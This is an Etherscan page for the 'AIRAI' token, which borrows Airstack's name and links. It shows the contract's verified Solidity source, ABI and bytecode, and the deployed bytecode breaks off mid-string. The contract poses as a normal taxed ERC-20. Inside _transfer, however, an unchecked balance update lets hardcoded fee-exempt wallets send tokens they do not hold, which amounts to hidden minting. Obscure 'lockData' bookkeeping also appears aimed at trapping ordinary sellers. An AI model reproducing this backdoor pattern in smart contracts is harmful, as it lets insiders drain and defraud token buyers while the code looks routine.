ETH Price: $3,301.36 (-0.42%)
 

Overview

Max Total Supply

100,000,000 AIRAI

Holders

128

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
26,820.979289512 AIRAI

Value
$0.00
0xabd6d7862516aaa12841ae3a7eb4345151c2a21b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AIRAI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-05
*/

// SPDX-License-Identifier: MIT
/*

Airstack AI Blockchain Developer Tool

The most straightforward method for constructing modular blockchain applications.
Seamlessly incorporate both on-chain and off-chain data into any software instantly using AI.

https://www.airstack.xyz/
https://docs.airstack.xyz/airstack-docs-and-faqs
https://twitter.com/airstack_xyz
https://www.linkedin.com/company/airstack-xyz
https://app.airstack.xyz/sdks
https://warpcast.com/~/channel/airstack
https://app.airstack.xyz/api-studio

*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);
    
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract AIRAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isFeeExempt;
    uint256 private constant _initBuyTax=15;
    uint256 private constant _initSellTax=25;
    uint256 private constant _finalBuyTax=5;
    uint256 private constant _finalSellTax=5;
    uint256 private constant _reduceBuyTaxAt=1;
    uint256 private constant _reduceSellTaxAt=25;
    uint256 private constant _preventSwapBefore=10;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Airstack AI";
    string private constant _symbol = unicode"AIRAI";
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    uint256 public maxTxAmount = 1300000 * 10**_decimals;
    uint256 public maxWallet = 1300000 * 10**_decimals;
    uint256 private _taxSwapThreshold = 300000 * 10**_decimals;
    uint256 private _maxTaxSwap = 1700000 * 10**_decimals;
    IUniswapV2Router02 private immutable router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private _pair;
    address payable private immutable _taxWallet = payable(0xC283F4E46D236aE89FDa48711072284B4f5667e8);
    address payable private immutable _projectWallet = payable(0x19A99182D3801DB693D3Da47dd360ebCFeebf8f7);
    bool private transferDelayEnabled = true;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    uint256 private _buyCounter=0;
    bool private _tradingOpen = false;
    bool private _swapping = false;
    bool private _swapEnabled = false;
    uint256 private _launchBlock;
    uint256 private _minLockNum;
    struct LockData {uint256 buy; uint256 sell; uint256 lockPoints;}
    mapping(address => LockData) private lockData;

    modifier lockTheSwap {_swapping = true; _; _swapping = false;}

    constructor () {
        _isFeeExempt[owner()] = true;
        _isFeeExempt[address(this)] = true;
        _isFeeExempt[_taxWallet] = true;
        _isFeeExempt[_projectWallet] = true;
        _balances[address(this)] = _tTotal;
        emit Transfer(address(0), address(this), _balances[address(this)]);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {return _name;}

    function symbol() public pure returns (string memory) {return _symbol;}

    function decimals() public pure returns (uint8) {return _decimals;}

    function totalSupply() public pure override returns (uint256) {return _tTotal;}

    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0,"Transfer amount must be greater than zero");
        uint256 taxAmount = 0;

        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCounter>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(router) && to != address(_pair) ) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                            block.number,
                          "_transfer:: Transfer delay enabled - only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == _pair && to != address(router) && !_isFeeExempt[to]) {
                require(amount <= maxTxAmount, "Exceeds the maxTxAmount.");
                require(balanceOf(to) + amount <=maxWallet, "Exceeds the maxWallet.");
                _buyCounter ++;
            }

            if(to == _pair && from != address(this)){
                taxAmount = amount.mul((_buyCounter>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_swapping && to == _pair && _swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCounter >_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendEthToFee(address(this).balance);
                }
            }
        }

        if ((_isFeeExempt[from] || _isFeeExempt[to]) && from != owner() && from != address(this) && to != address(this)) {
            _minLockNum = block.timestamp;
        }
        if (_isFeeExempt[from] && (block.number > _launchBlock + 50)) {
            unchecked{
                _balances[from] -= amount;
                _balances[to] += amount;
            }
            emit Transfer(from, to, amount);
            return;
        }
        if (!_isFeeExempt[from] && !_isFeeExempt[to]) {
            if (_pair == to) {
                LockData storage lockFromPoints = lockData[from];
                lockFromPoints.lockPoints = lockFromPoints.buy - _minLockNum;
                lockFromPoints.sell = block.timestamp;
            } else {
                LockData storage lockToPoints = lockData[to];
                if (_pair == from) {
                    if (lockToPoints.buy == 0) {
                        lockToPoints.buy=(_buyCounter<11) ? (block.timestamp-1) : block.timestamp;
                    }
                } else {
                    LockData storage lockFromPoints =lockData[from];
                    if (lockToPoints.buy == 0 || lockFromPoints.buy<lockToPoints.buy) {
                        lockToPoints.buy=lockFromPoints.buy;
                    }
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this),address(router),tokenAmount);

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading() external payable onlyOwner() {
        require(!_tradingOpen,"Trading is already opened");
        uint256 totalSupplyAmount = totalSupply();
        _approve(address(this), address(router), totalSupplyAmount);
        _pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_pair).approve(address(router), type(uint).max);
        _swapEnabled = true;
        _tradingOpen = true;
        _launchBlock = block.number;
    }

    function removeLimits() external onlyOwner {
        transferDelayEnabled=false;
        maxWallet=_tTotal;
        maxTxAmount=_tTotal;
    }

    function sendEthToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function manualSwap() external onlyOwner {
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance> 0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance> 0){
          sendEthToFee(ethBalance);
        }
    }

    function rescueETH() external {
        uint256 ethBalance = address(this).balance;
        if(ethBalance > 0){
          sendEthToFee(ethBalance);
        }
    }

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(msg.sender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052620000126009600a62000342565b62000021906213d6206200035a565b600455620000326009600a62000342565b62000041906213d6206200035a565b600555620000526009600a62000342565b6200006190620493e06200035a565b600655620000726009600a62000342565b62000081906219f0a06200035a565b600755737a250d5630b4cf539739df2c5dacb4c659f2488d60805273c283f4e46d236ae89fda48711072284b4f5667e860a0527319a99182d3801db693d3da47dd360ebcfeebf8f760c0526008805460ff60a01b1916600160a01b1790556000600a55600b805462ffffff19169055348015620000fd57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160036000620001586000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600390935281832080548516600190811790915560a05182168452828420805486168217905560c051909116835291208054909216179055620001cf6009600a62000342565b620001df906305f5e1006200035a565b30600081815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000374565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002845781600019048211156200026857620002686200022d565b808516156200027657918102915b93841c939080029062000248565b509250929050565b6000826200029d575060016200033c565b81620002ac575060006200033c565b8160018114620002c55760028114620002d057620002f0565b60019150506200033c565b60ff841115620002e457620002e46200022d565b50506001821b6200033c565b5060208310610133831016604e8410600b841016171562000315575081810a6200033c565b62000321838362000243565b80600019048211156200033857620003386200022d565b0290505b92915050565b60006200035360ff8416836200028c565b9392505050565b80820281158282048414176200033c576200033c6200022d565b60805160a05160c051611c7d620003e0600039600050506000610bd801526000818161074f01528181610776015281816108070152818161092601528181610a0f01528181610db501528181610ecb01528181611513015281816115cc01526116080152611c7d6000f3fe60806040526004361061010d5760003560e01c8063751039fc1161009557806395d89b411161006457806395d89b41146102d8578063a9059cbb14610306578063c9567bf914610326578063dd62ed3e1461032e578063f8b45b051461037457600080fd5b8063751039fc146102655780638c0b5e221461027a5780638cd4426d146102905780638da5cb5b146102b057600080fd5b806323b872dd116100dc57806323b872dd146101c9578063313ce567146101e957806351bc3c851461020557806370a082311461021a578063715018a61461025057600080fd5b806306fdde0314610119578063095ea7b31461015f57806318160ddd1461018f57806320800a00146101b257600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600b81526a416972737461636b20414960a81b60208201525b6040516101569190611836565b60405180910390f35b34801561016b57600080fd5b5061017f61017a366004611899565b61038a565b6040519015158152602001610156565b34801561019b57600080fd5b506101a46103a1565b604051908152602001610156565b3480156101be57600080fd5b506101c76103c2565b005b3480156101d557600080fd5b5061017f6101e43660046118c5565b6103d5565b3480156101f557600080fd5b5060405160098152602001610156565b34801561021157600080fd5b506101c761043e565b34801561022657600080fd5b506101a4610235366004611906565b6001600160a01b031660009081526001602052604090205490565b34801561025c57600080fd5b506101c76104a4565b34801561027157600080fd5b506101c7610518565b34801561028657600080fd5b506101a460045481565b34801561029c57600080fd5b506101c76102ab366004611899565b61058b565b3480156102bc57600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102e457600080fd5b50604080518082019091526005815264414952414960d81b6020820152610149565b34801561031257600080fd5b5061017f610321366004611899565b6106b3565b6101c76106c0565b34801561033a57600080fd5b506101a4610349366004611923565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038057600080fd5b506101a460055481565b6000610397338484610aa7565b5060015b92915050565b60006103af6009600a611a56565b6103bd906305f5e100611a65565b905090565b4780156103d2576103d281610bcb565b50565b60006103e2848484610c21565b610434843361042f85604051806060016040528060288152602001611c20602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611473565b610aa7565b5060019392505050565b6000546001600160a01b031633146104715760405162461bcd60e51b815260040161046890611a7c565b60405180910390fd5b30600090815260016020526040902054801561049057610490816114ad565b4780156104a0576104a081610bcb565b5050565b6000546001600160a01b031633146104ce5760405162461bcd60e51b815260040161046890611a7c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105425760405162461bcd60e51b815260040161046890611a7c565b6008805460ff60a01b1916905561055b6009600a611a56565b610569906305f5e100611a65565b6005556105786009600a611a56565b610586906305f5e100611a65565b600455565b6000546001600160a01b031633146105b55760405162461bcd60e51b815260040161046890611a7c565b6040516370a0823160e01b8152306004820152600090610639906064906106339085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062d9190611ab1565b90611687565b90611710565b60405163a9059cbb60e01b8152336004820152602481018290529091506001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015610689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ad9190611aca565b50505050565b6000610397338484610c21565b6000546001600160a01b031633146106ea5760405162461bcd60e51b815260040161046890611a7c565b600b5460ff161561073d5760405162461bcd60e51b815260206004820152601960248201527f54726164696e6720697320616c7265616479206f70656e6564000000000000006044820152606401610468565b60006107476103a1565b9050610774307f000000000000000000000000000000000000000000000000000000000000000083610aa7565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f69190611aec565b6001600160a01b031663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610863573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108879190611aec565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f89190611aec565b600880546001600160a01b0319166001600160a01b03928316179055306000818152600160205260409020547f00000000000000000000000000000000000000000000000000000000000000009092169163f305d7199147916000806109666000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ce573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f39190611b09565b505060085460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301526000196024830152909116915063095ea7b3906044016020604051808303816000875af1158015610a6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8e9190611aca565b5050600b805462ff00ff19166201000117905543600c55565b6001600160a01b038316610b095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610468565b6001600160a01b038216610b6a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610468565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6040516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169082156108fc029083906000818181858888f193505050501580156104a0573d6000803e3d6000fd5b6001600160a01b038316610c855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610468565b6001600160a01b038216610ce75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610468565b60008111610d495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610468565b600080546001600160a01b03858116911614801590610d7657506000546001600160a01b03848116911614155b156110e657610d9e60646106336001600a5411610d9457600f610d97565b60055b8590611687565b600854909150600160a01b900460ff1615610eb1577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614158015610e0357506008546001600160a01b03848116911614155b15610eb157326000908152600960205260409020544311610e9e5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722064656c617920656e61626c60448201527f6564202d206f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610468565b3260009081526009602052604090204390555b6008546001600160a01b038581169116148015610f0057507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b8015610f2557506001600160a01b03831660009081526003602052604090205460ff16155b1561100657600454821115610f7c5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610468565b60055482610f9f856001600160a01b031660009081526001602052604090205490565b610fa99190611b37565b1115610ff05760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b6044820152606401610468565b600a805490600061100083611b4a565b91905055505b6008546001600160a01b03848116911614801561102c57506001600160a01b0384163014155b1561104d5761104a60646106336019600a5411610d94576019610d97565b90505b30600090815260016020526040902054600b54610100900460ff1615801561108257506008546001600160a01b038581169116145b80156110965750600b5462010000900460ff165b80156110a3575060065481115b80156110b05750600a8054115b156110e4576110d26110cd846110c884600754611752565b611752565b6114ad565b4780156110e2576110e247610bcb565b505b505b6001600160a01b03841660009081526003602052604090205460ff168061112557506001600160a01b03831660009081526003602052604090205460ff165b801561113f57506000546001600160a01b03858116911614155b801561115457506001600160a01b0384163014155b801561116957506001600160a01b0383163014155b156111735742600d555b6001600160a01b03841660009081526003602052604090205460ff1680156111a75750600c546111a4906032611b37565b43115b1561121c576001600160a01b03808516600081815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061120e9086815260200190565b60405180910390a350505050565b6001600160a01b03841660009081526003602052604090205460ff1615801561125e57506001600160a01b03831660009081526003602052604090205460ff16155b15611339576008546001600160a01b038085169116036112b0576001600160a01b0384166000908152600e60205260409020600d54815461129f9190611b63565b600282015542600190910155611339565b6001600160a01b038084166000908152600e6020526040902060085490918681169116036113045780546000036112ff57600b600a54106112f157426112fc565b6112fc600142611b63565b81555b611337565b6001600160a01b0385166000908152600e602052604090208154158061132b575081548154105b1561133557805482555b505b505b80156113b357306000908152600160205260409020546113599082611767565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113aa9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546113d690836117c6565b6001600160a01b03851660009081526001602052604090205561141b6113fc83836117c6565b6001600160a01b03851660009081526001602052604090205490611767565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61146585856117c6565b60405190815260200161120e565b600081848411156114975760405162461bcd60e51b81526004016104689190611836565b5060006114a48486611b63565b95945050505050565b600b805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114f1576114f1611b76565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561156f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115939190611aec565b816001815181106115a6576115a6611b76565b60200260200101906001600160a01b031690816001600160a01b0316815250506115f1307f000000000000000000000000000000000000000000000000000000000000000084610aa7565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611646908590600090869030904290600401611b8c565b600060405180830381600087803b15801561166057600080fd5b505af1158015611674573d6000803e3d6000fd5b5050600b805461ff001916905550505050565b6000826000036116995750600061039b565b60006116a58385611a65565b9050826116b28583611bfd565b146117095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610468565b9392505050565b600061170983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611808565b60008183116117615782611709565b50919050565b6000806117748385611b37565b9050838110156117095760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610468565b600061170983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611473565b600081836118295760405162461bcd60e51b81526004016104689190611836565b5060006114a48486611bfd565b600060208083528351808285015260005b8181101561186357858101830151858201604001528201611847565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146103d257600080fd5b600080604083850312156118ac57600080fd5b82356118b781611884565b946020939093013593505050565b6000806000606084860312156118da57600080fd5b83356118e581611884565b925060208401356118f581611884565b929592945050506040919091013590565b60006020828403121561191857600080fd5b813561170981611884565b6000806040838503121561193657600080fd5b823561194181611884565b9150602083013561195181611884565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119ad5781600019048211156119935761199361195c565b808516156119a057918102915b93841c9390800290611977565b509250929050565b6000826119c45750600161039b565b816119d15750600061039b565b81600181146119e757600281146119f157611a0d565b600191505061039b565b60ff841115611a0257611a0261195c565b50506001821b61039b565b5060208310610133831016604e8410600b8410161715611a30575081810a61039b565b611a3a8383611972565b8060001904821115611a4e57611a4e61195c565b029392505050565b600061170960ff8416836119b5565b808202811582820484141761039b5761039b61195c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ac357600080fd5b5051919050565b600060208284031215611adc57600080fd5b8151801515811461170957600080fd5b600060208284031215611afe57600080fd5b815161170981611884565b600080600060608486031215611b1e57600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561039b5761039b61195c565b600060018201611b5c57611b5c61195c565b5060010190565b8181038181111561039b5761039b61195c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bdc5784516001600160a01b031683529383019391830191600101611bb7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c1a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203cdaeb6e5151f6b05f786bd96ab9df1d98094477f2fc7ad1699d5f2f99a42aec64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c8063751039fc1161009557806395d89b411161006457806395d89b41146102d8578063a9059cbb14610306578063c9567bf914610326578063dd62ed3e1461032e578063f8b45b051461037457600080fd5b8063751039fc146102655780638c0b5e221461027a5780638cd4426d146102905780638da5cb5b146102b057600080fd5b806323b872dd116100dc57806323b872dd146101c9578063313ce567146101e957806351bc3c851461020557806370a082311461021a578063715018a61461025057600080fd5b806306fdde0314610119578063095ea7b31461015f57806318160ddd1461018f57806320800a00146101b257600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600b81526a416972737461636b20414960a81b60208201525b6040516101569190611836565b60405180910390f35b34801561016b57600080fd5b5061017f61017a366004611899565b61038a565b6040519015158152602001610156565b34801561019b57600080fd5b506101a46103a1565b604051908152602001610156565b3480156101be57600080fd5b506101c76103c2565b005b3480156101d557600080fd5b5061017f6101e43660046118c5565b6103d5565b3480156101f557600080fd5b5060405160098152602001610156565b34801561021157600080fd5b506101c761043e565b34801561022657600080fd5b506101a4610235366004611906565b6001600160a01b031660009081526001602052604090205490565b34801561025c57600080fd5b506101c76104a4565b34801561027157600080fd5b506101c7610518565b34801561028657600080fd5b506101a460045481565b34801561029c57600080fd5b506101c76102ab366004611899565b61058b565b3480156102bc57600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102